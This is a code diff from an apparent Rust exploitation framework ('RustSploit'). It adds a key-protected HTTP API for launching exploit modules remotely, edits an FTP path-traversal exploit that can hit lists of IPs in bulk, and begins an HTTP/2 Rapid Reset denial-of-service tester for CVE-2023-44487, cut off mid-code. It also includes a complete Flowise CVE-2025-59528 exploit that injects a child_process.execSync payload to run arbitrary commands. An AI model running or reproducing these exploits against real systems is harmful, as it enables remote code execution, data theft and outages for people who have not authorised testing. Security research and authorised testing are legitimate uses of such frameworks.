+            .open(&self.log_file)
+            .await
+            .context("Failed to open log file")?;
+
+        file.write_all(log_entry.as_bytes())
+            .await
+            .context("Failed to write to log file")?;
+
+        Ok(())
+    }
+
+    pub async fn verify_key(&self, provided_key: &str) -> bool {
+        let key_guard = self.current_key.read().await;
+        key_guard.key == provided_key
+    }
+
+    pub async fn check_auth_rate_limit(&self, ip: &str) -> Result<bool> {
+        let mut failures_guard = self.auth_failures.write().await;
+        let now = Utc::now();
+
+        if let Some(tracker) = failures_guard.get_mut(ip) {
+            // Check if IP is currently blocked
+            if let Some(blocked_until) = tracker.blocked_until {
+                if now < blocked_until {
+                    let remaining = (blocked_until - now).num_seconds();
+                    self.log_message(&format!(
+                        "[RATE_LIMIT] IP {} is blocked for {} more seconds ({} failed attempts)",
+                        ip, remaining, tracker.failed_attempts
+                    ))
+                    .await?;
+                    return Ok(false); // Blocked
+                } else {
+                    // Block period expired, reset
+                    tracker.failed_attempts = 0;
+                    tracker.blocked_until = None;
+                    self.log_message(&format!(
+                        "[RATE_LIMIT] Block period expired for IP {}, resetting counter",
+                        ip
+                    ))
+                    .await?;
+                }
+            }
+        }
+
+        Ok(true) // Not blocked
+    }
+
+    pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
+        let mut failures_guard = self.auth_failures.write().await;
+        let now = Utc::now();
+
+        let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
+            AuthFailureTracker {
+                ip: ip.to_string(),
+                failed_attempts: 0,
+                first_failure: now,
+                blocked_until: None,
+            }
+        });
+
+        // Set first_failure if this is the first attempt
+        if tracker.failed_attempts == 0 {
+            tracker.first_failure = now;
+        }
+
+        tracker.failed_attempts += 1;
+
+        // Block after 3 failed attempts for 30 seconds
+        if tracker.failed_attempts >= 3 {
+            let block_until = now + chrono::Duration::seconds(30);
+            tracker.blocked_until = Some(block_until);
+            
+            let duration_since_first = (now - tracker.first_failure).num_seconds();
+            self.log_message(&format!(
+                "[RATE_LIMIT] IP {} blocked for 30 seconds after {} failed authentication attempts (first failure: {}, {} seconds since first)",
+                tracker.ip, tracker.failed_attempts,
+                tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC"),
+                duration_since_first
+            ))
+            .await?;
+            
+            println!(
+                "🚫 [RATE_LIMIT] IP {} blocked for 30 seconds ({} failed attempts since {})",
+                tracker.ip, tracker.failed_attempts,
+                tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
+            );
+        } else {
+            self.log_message(&format!(
+                "[RATE_LIMIT] IP {} failed authentication attempt {}/3 (first failure: {})",
+                tracker.ip, tracker.failed_attempts,
+                tracker.first_failure.format("%Y-%m-%d %H:%M:%S UTC")
+            ))
+            .await?;
+        }
+
+        Ok(())
+    }
+
+    pub async fn reset_auth_failures(&self, ip: &str) -> Result<()> {
+        let mut failures_guard = self.auth_failures.write().await;
+        
+        if let Some(tracker) = failures_guard.get_mut(ip) {
+            if tracker.failed_attempts > 0 {
+                self.log_message(&format!(
+                    "[RATE_LIMIT] Resetting auth failure counter for IP {} (was {} attempts)",
+                    ip, tracker.failed_attempts
+                ))
+                .await?;
+            }
+            tracker.failed_attempts = 0;
+            tracker.blocked_until = None;
+        }
+
+        Ok(())
+    }
+}
+
+async fn auth_middleware(
+    State(state): State<ApiState>,
+    headers: HeaderMap,
+    request: Request,
+    next: Next,
+) -> Response {
+    // Extract IP address first - try to get from headers first (for proxied requests)
+    let client_ip = headers
+        .get("x-forwarded-for")
+        .or_else(|| headers.get("x-real-ip"))
+        .and_then(|h| h.to_str().ok())
+        .map(|s| {
+            s.split(',')
+                .next()
+                .unwrap_or("")
+                .trim()
+                .to_string()
+        })
+        .filter(|s| !s.is_empty());
+
+    // Fall back to direct connection IP from request extensions
+    let client_ip = if let Some(ip) = client_ip {
+        ip
+    } else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
+        addr.ip().to_string()
+    } else {
+        "unknown".to_string()
+    };
+
+    // Check rate limit before processing authentication
+    if client_ip != "unknown" {
+        if let Ok(allowed) = state.check_auth_rate_limit(&client_ip).await {
+            if !allowed {
+                let response = ApiResponse {
+                    success: false,
+                    message: "Too many failed authentication attempts. Please try again in 30 seconds.".to_string(),
+                    data: None,
+                };
+                return (StatusCode::TOO_MANY_REQUESTS, Json(response)).into_response();
+            }
+        }
+    }
+
+    // Extract API key from Authorization header
+    let auth_header = headers
+        .get("Authorization")
+        .and_then(|h| h.to_str().ok())
+        .unwrap_or("");
+
+    let provided_key = if auth_header.starts_with("Bearer ") {
+        &auth_header[7..]
+    } else if auth_header.starts_with("ApiKey ") {
+        &auth_header[7..]
+    } else {
+        auth_header
+    };
+
+    // Basic key format validation
+    if !validate_api_key_format(provided_key) {
+        let response = ApiResponse {
+            success: false,
+            message: "Malformed API key".to_string(),
+            data: None,
+        };
+        return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
+    }
+
+    // Verify API key
+    let is_valid = state.verify_key(provided_key).await;
+
+    if !is_valid {
+        // Record failed authentication attempt
+        if client_ip != "unknown" {
+            let _ = state.record_auth_failure(&client_ip).await;
+        }
+
+        let response = ApiResponse {
+            success: false,
+            message: "Invalid API key".to_string(),
+            data: None,
+        };
+        return (StatusCode::UNAUTHORIZED, Json(response)).into_response();
+    }
+
+    // Successful authentication - reset failure counter for this IP
+    if client_ip != "unknown" {
+        let _ = state.reset_auth_failures(&client_ip).await;
+    }
+
+    // Track IP for hardening (if enabled)
+    let _ = state.track_ip(&client_ip).await;
+
+    next.run(request).await
+}
+
+async fn health_check() -> Json<ApiResponse> {
+    Json(ApiResponse {
+        success: true,
+        message: "API is running".to_string(),
+        data: None,
+    })
+}
+
+async fn list_modules(State(_state): State<ApiState>) -> Json<ApiResponse> {
+    let modules = commands::discover_modules();
+    let mut exploits = Vec::new();
+    let mut scanners = Vec::new();
+    let mut creds = Vec::new();
+
+    for module in modules {
+        if module.starts_with("exploits/") {
+            exploits.push(module);
+        } else if module.starts_with("scanners/") {
+            scanners.push(module);
+        } else if module.starts_with("creds/") {
+            creds.push(module);
+        }
+    }
+
+    let data = ListModulesResponse {
+        exploits,
+        scanners,
+        creds,
+    };
+
+    Json(ApiResponse {
+        success: true,
+        message: "Modules retrieved successfully".to_string(),
+        data: Some(serde_json::to_value(data).unwrap()),
+    })
+}
+
+async fn run_module(
+    State(state): State<ApiState>,
+    Json(payload): Json<RunModuleRequest>,
+) -> Result<Json<ApiResponse>, StatusCode> {
+    let module_name_raw = payload.module.as_str();
+    let target_raw = payload.target.as_str();
+
+    // Validate inputs
+    if !validate_module_name(module_name_raw) {
+        return Err(StatusCode::BAD_REQUEST);
+    }
+    if !validate_target(target_raw) {
+        return Err(StatusCode::BAD_REQUEST);
+    }
+
+    // Sanitize for logging only
+    let module_name = sanitize_for_log(module_name_raw);
+    let target_name = sanitize_for_log(target_raw);
+    
+    state
+        .log_message(&format!(
+            "API request: run module '{}' on target '{}'",
+            module_name, target_name
+        ))
+        .await
+        .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
+
+    // Run the module in a separate OS thread since some modules aren't Send
+    let module = payload.module.clone();
+    let target = payload.target.clone();
+    let state_clone = state.clone();
+
+    // Use std::thread to run in a separate OS thread with its own runtime
+    std::thread::spawn(move || {
+        // Create a new runtime for this thread since modules need async runtime
+        let rt = tokio::runtime::Runtime::new().unwrap();
+        rt.block_on(async {
+            if let Err(e) = commands::run_module(&module, &target).await {
+                let _ = state_clone
+                    .log_message(&format!("Error running module: {}", sanitize_for_log(&e.to_string())))
+                    .await;
+            } else {
+                let _ = state_clone
+                    .log_message(&format!(
+                        "Successfully completed module '{}' on target '{}'",
+                        sanitize_for_log(&module), sanitize_for_log(&target)
+                    ))
+                    .await;
+            }
+        });
+    });
+
+    Ok(Json(ApiResponse {
+        success: true,
+        message: format!("Module '{}' execution started for target '{}'", module_name, target_name),
+        data: None,
+    }))
+}
+
+async fn get_status(State(state): State<ApiState>) -> Json<ApiResponse> {
+    let key_guard = state.current_key.read().await;
+    let tracker_guard = state.ip_tracker.read().await;
+
+    // Collect all tracked IPs with their details
+    let tracked_ips: Vec<&IpTracker> = tracker_guard.values().collect();
+    let ip_details: Vec<serde_json::Value> = tracked_ips
+        .iter()
+        .map(|tracker| {
+            serde_json::json!({
+                "ip": tracker.ip,
+                "first_seen": tracker.first_seen.to_rfc3339(),
+                "last_seen": tracker.last_seen.to_rfc3339(),
+                "request_count": tracker.request_count,
+            })
+        })
+        .collect();
+
+    let status_data = serde_json::json!({
+        "harden_enabled": state.harden_enabled,
+        "ip_limit": state.ip_limit,
+        "unique_ips": tracker_guard.len(),
+        "key_created_at": key_guard.created_at.to_rfc3339(),
+        "log_file": state.log_file.to_string_lossy(),
+        "tracked_ips": ip_details,
+    });
+
+    Json(ApiResponse {
+        success: true,
+        message: "Status retrieved successfully".to_string(),
+        data: Some(status_data),
+    })
+}
+
+async fn rotate_key_endpoint(State(state): State<ApiState>) -> Result<Json<ApiResponse>, StatusCode> {
+    let new_key = state
+        .rotate_key()
+        .await
+        .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
+
+    Ok(Json(ApiResponse {
+        success: true,
+        message: "API key rotated successfully".to_string(),
+        data: Some(serde_json::json!({ "new_key": new_key })),
+    }))
+}
+
+async fn get_tracked_ips(State(state): State<ApiState>) -> Json<ApiResponse> {
+    let tracker_guard = state.ip_tracker.read().await;
+    let failures_guard = state.auth_failures.read().await;
+    
+    // Use all fields from IpTracker
+    let ips: Vec<serde_json::Value> = tracker_guard
+        .values()
+        .map(|tracker| {
+            // Get auth failure info for this IP if it exists
+            let auth_info = failures_guard.get(&tracker.ip).map(|fail| {
+                serde_json::json!({
+                    "failed_attempts": fail.failed_attempts,
+                    "first_failure": fail.first_failure.to_rfc3339(),
+                    "blocked_until": fail.blocked_until.map(|dt| dt.to_rfc3339()),
+                    "is_blocked": fail.blocked_until.map(|dt| Utc::now() < dt).unwrap_or(false),
+                })
+            });
+
+            serde_json::json!({
+                "ip": tracker.ip,
+                "first_seen": tracker.first_seen.to_rfc3339(),
+                "last_seen": tracker.last_seen.to_rfc3339(),
+                "request_count": tracker.request_count,
+                "duration_seconds": (tracker.last_seen - tracker.first_seen).num_seconds(),
+                "auth_failures": auth_info,
+            })
+        })
+        .collect();
+
+    Json(ApiResponse {
+        success: true,
+        message: format!("Retrieved {} tracked IP addresses", ips.len()),
+        data: Some(serde_json::json!({ "ips": ips })),
+    })
+}
+
+async fn get_auth_failures(State(state): State<ApiState>) -> Json<ApiResponse> {
+    let failures_guard = state.auth_failures.read().await;
+    let now = Utc::now();
+    
+    // Use all fields from AuthFailureTracker
+    let failures: Vec<serde_json::Value> = failures_guard
+        .values()
+        .map(|tracker| {
+            let is_blocked = tracker.blocked_until
+                .map(|blocked_until| now < blocked_until)
+                .unwrap_or(false);
+            
+            let remaining_seconds = if is_blocked {
+                tracker.blocked_until
+                    .map(|blocked_until| (blocked_until - now).num_seconds())
+                    .unwrap_or(0)
+            } else {
+                0
+            };
+
+            serde_json::json!({
+                "ip": tracker.ip,
+                "failed_attempts": tracker.failed_attempts,
+                "first_failure": tracker.first_failure.to_rfc3339(),
+                "blocked_until": tracker.blocked_until.map(|dt| dt.to_rfc3339()),
+                "is_blocked": is_blocked,
+                "remaining_block_seconds": remaining_seconds,
+                "duration_since_first": (now - tracker.first_failure).num_seconds(),
+            })
+        })
+        .collect();
+
+    Json(ApiResponse {
+        success: true,
+        message: format!("Retrieved {} IPs with authentication failures", failures.len()),
+        data: Some(serde_json::json!({ "auth_failures": failures })),
+    })
+}
+
+pub async fn start_api_server(
+    bind_address: &str,
+    api_key: String,
+    harden: bool,
+    ip_limit: u32,
+) -> Result<()> {
+    let state = ApiState::new(api_key.clone(), harden, ip_limit);
+
+    // Log initial startup
+    state
+        .log_message(&format!(
+            "Starting API server on {} with hardening: {}, IP limit: {}",
+            bind_address, harden, ip_limit
+        ))
+        .await?;
+
+    println!("🚀 Starting RustSploit API server...");
+    println!("📍 Binding to: {}", bind_address);
+    println!("🔑 Initial API key: {}", api_key);
+    println!("🛡️  Hardening mode: {}", if harden { "ENABLED" } else { "DISABLED" });
+    if harden {
+        println!("📊 IP limit: {}", ip_limit);
+    }
+    println!("📝 Log file: {}", state.log_file.display());
+
+    // Create routes that require authentication
+    let protected_routes = Router::new()
+        .route("/api/modules", get(list_modules))
+        .route("/api/run", post(run_module))
+        .route("/api/status", get(get_status))
+        .route("/api/rotate-key", post(rotate_key_endpoint))
+        .route("/api/ips", get(get_tracked_ips))
+        .route("/api/auth-failures", get(get_auth_failures))
+        .layer(axum::middleware::from_fn_with_state(
+            state.clone(),
+            auth_middleware,
+        ));
+
+    let app = Router::new()
+        .route("/health", get(health_check))
+        .merge(protected_routes)
+        .layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
+        .with_state(state);
+
+    let listener = tokio::net::TcpListener::bind(bind_address)
+        .await
+        .context(format!("Failed to bind to {}", bind_address))?;
+
+    println!("✅ API server is running! Use the API key in Authorization header.");
+    println!("📖 Example: curl -H 'Authorization: Bearer {}' http://{}/api/modules", api_key, bind_address);
+
+    axum::serve(
+        listener,
+        app.into_make_service_with_connect_info::<SocketAddr>(),
+    )
+    .await
+    .context("API server error")?;
+
+    Ok(())
+}
+

src/cli.rs

@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
 #[clap(group(
     ArgGroup::new("mode")
         .required(false)
-        .args(&["command"])
+        .args(&["command", "api"])
 ))]
 pub struct Cli {
     /// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -19,4 +19,24 @@ pub struct Cli {
     /// Module name to use
     #[arg(short, long)]
     pub module: Option<String>,
+
+    /// Launch API server mode
+    #[arg(long)]
+    pub api: bool,
+
+    /// API key for authentication (required when --api is used)
+    #[arg(long, requires = "api")]
+    pub api_key: Option<String>,
+
+    /// Enable hardening mode (auto-rotate API key on suspicious activity)
+    #[arg(long, requires = "api")]
+    pub harden: bool,
+
+    /// Network interface to bind API server to (default: 0.0.0.0)
+    #[arg(long, requires = "api", default_value = "0.0.0.0")]
+    pub interface: Option<String>,
+
+    /// IP limit for hardening mode (default: 10 unique IPs)
+    #[arg(long, requires = "harden", default_value = "10")]
+    pub ip_limit: Option<u32>,
 }

src/main.rs

@@ -1,4 +1,4 @@
-use anyhow::Result;
+use anyhow::{Context, Result};
 use clap::Parser;
 
 mod cli;
@@ -6,12 +6,34 @@ mod shell;
 mod commands;
 mod modules;
 mod utils;
+mod api;
 
 #[tokio::main]
 async fn main() -> Result<()> {
     // Parse command-line arguments
     let cli_args = cli::Cli::parse();
 
+    // Check if API mode is requested
+    if cli_args.api {
+        let api_key = cli_args
+            .api_key
+            .context("--api-key is required when using --api mode")?;
+        
+        let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
+        // If interface already contains a port (has ':'), use it as-is, otherwise add default port
+        let bind_address = if interface.contains(':') {
+            interface
+        } else {
+            format!("{}:8080", interface)
+        };
+        
+        let harden = cli_args.harden;
+        let ip_limit = cli_args.ip_limit.unwrap_or(10);
+        
+        api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
+        return Ok(());
+    }
+
     // If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
     if let Some(cmd) = &cli_args.command {
         commands::handle_command(cmd, &cli_args).await?;

src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs

@@ -0,0 +1,185 @@
+// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
+// Exploit Author: nltt0 (https://github.com/nltt-br)
+// Vendor Homepage: https://flowiseai.com/
+// Software Link: https://github.com/FlowiseAI/Flowise
+// Version: < 3.0.5
+
+use anyhow::{anyhow, Context, Result};
+use colored::*;
+use reqwest::Client;
+use serde_json::json;
+use std::io::{self, Write};
+use std::time::Duration;
+
+/// Displays module banner
+fn banner() {
+    println!(
+        "{}",
+        r#"
+_____       _                              _____ 
+/  __ \     | |                            /  ___|
+| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
+| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
+| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
+\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
+                            __/ |                 
+                          |___/                  
+
+                by nltt0
+"#
+        .cyan()
+    );
+}
+
+/// Login to Flowise and return authenticated session
+async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
+    let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
+
+    let data = json!({
+        "email": email,
+        "password": password
+    });
+
+    let response = client
+        .post(&login_url)
+        .header("x-request-from", "internal")
+        .header("Accept-Language", "pt-BR,pt;q=0.9")
+        .header("Accept", "application/json, text/plain, */*")
+        .header("Content-Type", "application/json")
+        .header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
+        .header("Origin", "http://workflow.flow.hc")
+        .header("Referer", "http://workflow.flow.hc/signin")
+        .header("Accept-Encoding", "gzip, deflate, br")
+        .header("Connection", "keep-alive")
+        .json(&data)
+        .send()
+        .await
+        .context("Failed to send login request")?;
+
+    if response.status().is_success() {
+        // Extract session token/cookie from response
+        // The actual token extraction depends on Flowise's response format
+        // For now, we'll use the cookie jar from the client
+        Ok("authenticated".to_string())
+    } else {
+        Err(anyhow!("Login failed with status: {}", response.status()))
+    }
+}
+
+/// Execute remote code via the customMCP endpoint
+async fn execute_rce(
+    client: &Client,
+    url: &str,
+    email: &str,
+    password: &str,
+    cmd: &str,
+) -> Result<()> {
+    // First, login to get authenticated session
+    println!("{}", "[*] Attempting to login...".yellow());
+    login(client, url, email, password).await?;
+    println!("{}", "[+] Login successful".green());
+
+    let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
+    
+    // Escape the command for JavaScript execution
+    let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
+    
+    // Construct the malicious payload
+    let command = format!(
+        r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
+        escaped_cmd
+    );
+
+    let data = json!({
+        "loadMethod": "listActions",
+        "inputs": {
+            "mcpServerConfig": command
+        }
+    });
+
+    println!("{}", format!("[*] Executing command: {}", cmd).yellow());
+    
+    let response = client
+        .post(&rce_url)
+        .header("x-request-from", "internal")
+        .header("Content-Type", "application/json")
+        .json(&data)
+        .send()
+        .await
+        .context("Failed to send RCE request")?;
+
+    if response.status() == 401 {
+        // Retry with internal header if we get 401
+        println!("{}", "[*] Received 401, retrying with internal header...".yellow());
+        let retry_response = client
+            .post(&rce_url)
+            .header("x-request-from", "internal")
+            .json(&data)
+            .send()
+            .await
+            .context("Failed to retry RCE request")?;
+        
+        if retry_response.status().is_success() {
+            println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
+        } else {
+            println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
+        }
+    } else if response.status().is_success() {
+        println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
+    } else {
+        println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
+    }
+
+    Ok(())
+}
+
+/// Main entry point for auto-dispatch system
+pub async fn run(target: &str) -> Result<()> {
+    banner();
+
+    let mut base_url = target.trim().to_string();
+    if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
+        base_url = format!("http://{}", base_url);
+    }
+    base_url = base_url.trim_end_matches('/').to_string();
+
+    println!("{}", format!("[*] Target URL: {}", base_url).yellow());
+
+    // Build HTTP client with cookie support and SSL verification disabled
+    let client = Client::builder()
+        .timeout(Duration::from_secs(30))
+        .danger_accept_invalid_certs(true)
+        .cookie_store(true)
+        .build()
+        .context("Failed to create HTTP client")?;
+
+    // Prompt for credentials and command
+    let mut email = String::new();
+    let mut password = String::new();
+    let mut command = String::new();
+
+    print!("{}", "Email: ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut email)?;
+
+    print!("{}", "Password: ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut password)?;
+
+    print!("{}", "Command to execute: ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut command)?;
+
+    let email = email.trim();
+    let password = password.trim();
+    let command = command.trim();
+
+    if email.is_empty() || password.is_empty() || command.is_empty() {
+        return Err(anyhow!("Email, password, and command must be provided"));
+    }
+
+    execute_rce(&client, &base_url, email, password, command).await?;
+
+    Ok(())
+}
+

src/modules/exploits/flowise/mod.rs

@@ -0,0 +1,2 @@
+pub mod cve_2025_59528_flowise_rce;
+

src/modules/exploits/ftp/pachev_ftp_path_traversal_1_0.rs

@@ -2,7 +2,7 @@ use anyhow::{anyhow, Result};
 use ftp::FtpStream;
 use std::net::ToSocketAddrs;
 use std::fs::{File, OpenOptions};
-use std::io::{copy, BufRead, BufReader, Write};
+use std::io::{self, copy, BufRead, BufReader, Write};
 use std::path::Path;
 use tokio::task;
 use tokio::sync::Semaphore;
@@ -35,10 +35,13 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
 
     println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
 
-    let mut ftp = FtpStream::connect(
-        addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
-    )
-    .map_err(|e| anyhow!("FTP connection error: {}", e))?;
+    // Resolve address with better error handling
+    let socket_addr = addr.to_socket_addrs()?
+        .next()
+        .ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
+    
+    let mut ftp = FtpStream::connect(socket_addr)
+        .map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
 
     ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
     println!("{}", "[+] Logged in successfully as 'pachev'.".green());
@@ -77,25 +80,28 @@ fn save_result(line: &str) -> Result<()> {
 pub async fn run(target: &str) -> Result<()> {
     let target = target.to_string(); // // Own target early to avoid lifetime issues
 
-    println!("Enter the FTP port (default 21):");
+    print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
+    io::stdout().flush()?;
     let mut port_input = String::new();
-    std::io::stdin().read_line(&mut port_input)?;
+    io::stdin().read_line(&mut port_input)?;
     let port_input = port_input.trim();
     let port = if port_input.is_empty() {
         21
     } else {
-        port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
+        port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
     };
 
-    println!("Do you want to use a list of IPs? (yes/no):");
+    print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
+    io::stdout().flush()?;
     let mut use_list = String::new();
-    std::io::stdin().read_line(&mut use_list)?;
+    io::stdin().read_line(&mut use_list)?;
     let use_list = use_list.trim().to_lowercase();
 
     if use_list == "yes" || use_list == "y" {
-        println!("Enter path to the IP list file:");
+        print!("{}", "Enter path to the IP list file: ".cyan().bold());
+        io::stdout().flush()?;
         let mut path = String::new();
-        std::io::stdin().read_line(&mut path)?;
+        io::stdin().read_line(&mut path)?;
         let path = path.trim();
 
         if !Path::new(path).exists() {
@@ -116,32 +122,33 @@ pub async fn run(target: &str) -> Result<()> {
                         continue;
                     }
                     let ip_owned = ip.to_string();
+                    let ip_for_errors = ip_owned.clone(); // Clone for error messages
                     let port = port;
-                    let target_clone = target.clone(); // // Clone per task
                     let permit = semaphore.clone().acquire_owned().await?;
 
                     println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
 
                     futures.push(tokio::spawn(async move {
                         let _permit = permit; // // Hold permit alive
+                        let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
                         let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
 
                         match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
                             Ok(Ok(Ok(success))) => {
-                                println!("{}", format!("[+] Success: {}", success).green());
-                                save_result(&success)?;
+                                println!("{}", format!("[+] Success: {}", success).green().bold());
+                                let _ = save_result(&success);
                             }
                             Ok(Ok(Err(e))) => {
-                                println!("{}", format!("[!] Exploit error: {}", e).red());
-                                save_result(&format!("{} FAIL: {}", target_clone, e))?;
+                                println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
+                                let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
                             }
                             Ok(Err(e)) => {
-                                println!("{}", format!("[!] Join error: {}", e).red());
-                                save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
+                                println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
+                                let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
                             }
                             Err(_) => {
-                                println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
-                                save_result(&format!("{} TIMEOUT", target_clone))?;
+                                println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
+                                let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
                             }
                         }
 
@@ -165,23 +172,24 @@ pub async fn run(target: &str) -> Result<()> {
         let target_owned = target.to_string();
         let port = port;
 
+        println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
         let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
         match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
             Ok(Ok(Ok(success))) => {
-                println!("{}", format!("[+] Success: {}", success).green());
-                save_result(&success)?;
+                println!("{}", format!("[+] Success: {}", success).green().bold());
+                let _ = save_result(&success);
             }
             Ok(Ok(Err(e))) => {
-                println!("{}", format!("[!] Exploit error: {}", e).red());
-                save_result(&format!("{} FAIL: {}", target, e))?;
+                println!("{}", format!("[-] Exploit error: {}", e).red());
+                let _ = save_result(&format!("{} FAIL: {}", target, e));
             }
             Ok(Err(e)) => {
-                println!("{}", format!("[!] Join error: {}", e).red());
-                save_result(&format!("{} FAIL: Join error {}", target, e))?;
+                println!("{}", format!("[-] Join error: {}", e).red());
+                let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
             }
             Err(_) => {
-                println!("{}", format!("[!] Timeout while exploiting {}", target).red());
-                save_result(&format!("{} TIMEOUT", target))?;
+                println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
+                let _ = save_result(&format!("{} TIMEOUT", target));
             }
         }
     }

src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs

@@ -0,0 +1,445 @@
+// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
+// Exploit Author: Madhusudhan Rajappa
+// Date: 29th August 2025
+// Version: HTTP/2.0
+
+use anyhow::{anyhow, Context, Result};
+use colored::*;
+use h2::client::Builder;
+use std::io::{self, Write};
+use std::net::ToSocketAddrs;
+use std::time::{Duration, Instant};
+use tokio::net::TcpStream;
+use tokio::time::timeout;
+use tokio_rustls::TlsConnector;
+
+/// Displays module banner
+fn banner() {
+    println!(
+        "{}",
+        r#"
+╔═══════════════════════════════════════════════════════════╗
+║   CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability     ║
+║   Tester                                                  ║
+║                                                           ║
+║   WARNING: Only use on systems you own or have            ║
+║   permission to test!                                     ║
+╚═══════════════════════════════════════════════════════════╝
+"#
+        .cyan()
+    );
+}
+
+/// Normalize IPv6 host with brackets
+fn normalize_host(host: &str) -> String {
+    let stripped = host.trim_matches(|c| c == '[' || c == ']');
+    if stripped.contains(':') {
+        format!("[{}]", stripped)
+    } else {
+        stripped.to_string()
+    }
+}
+
+/// Perform baseline test with normal HTTP/2 requests
+async fn baseline_test(
+    host: &str,
+    port: u16,
+    use_ssl: bool,
+    num_requests: usize,
+) -> Result<()> {
+    println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
+    
+    let host_normalized = normalize_host(host);
+    let addr = format!("{}:{}", host_normalized, port);
+    let socket_addr = addr
+        .to_socket_addrs()
+        .context("Invalid target address format")?
+        .next()
+        .context("Could not resolve target address")?;
+
+    let stream = TcpStream::connect(socket_addr).await?;
+    
+    if use_ssl {
+        let root_store = tokio_rustls::rustls::RootCertStore::empty();
+        let config = tokio_rustls::rustls::ClientConfig::builder()
+            .with_safe_defaults()
+            .with_root_certificates(root_store)
+            .with_no_client_auth();
+        let connector = TlsConnector::from(std::sync::Arc::new(config));
+        let server_name = tokio_rustls::rustls::ServerName::try_from(host)
+            .map_err(|_| anyhow!("Invalid server name"))?;
+        let tls_stream = connector.connect(server_name, stream).await?;
+        let (mut sender, connection) = Builder::new()
+            .handshake::<_, bytes::BytesMut>(tls_stream)
+            .await?;
+
+        // Spawn connection task
+        tokio::spawn(async move {
+            if let Err(e) = connection.await {
+                eprintln!("Connection error: {:?}", e);
+            }
+        });
+
+        let mut successful = 0;
+        let start = Instant::now();
+
+        for i in 0..num_requests {
+            let request = http::Request::builder()
+                .uri(format!("https://{}:{}/", host, port))
+                .body(())
+                .unwrap();
+
+            match sender.send_request(request, true) {
+                Ok(_send_stream) => {
+                    // Request sent successfully with end_of_stream=true
+                    successful += 1;
+                }
+                Err(_) => {
+                    break;
+                }
+            }
+
+            if i < num_requests - 1 {
+                tokio::time::sleep(Duration::from_millis(100)).await;
+            }
+        }
+
+        let duration = start.elapsed();
+        println!("{}", format!("[+] Baseline Results:").green());
+        println!("  Total Requests: {}", num_requests);
+        println!("  Successful: {}", successful);
+        println!("  Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
+        println!("  Duration: {:.3}s", duration.as_secs_f64());
+    } else {
+        let (mut sender, connection) = Builder::new()
+            .handshake::<_, bytes::BytesMut>(stream)
+            .await?;
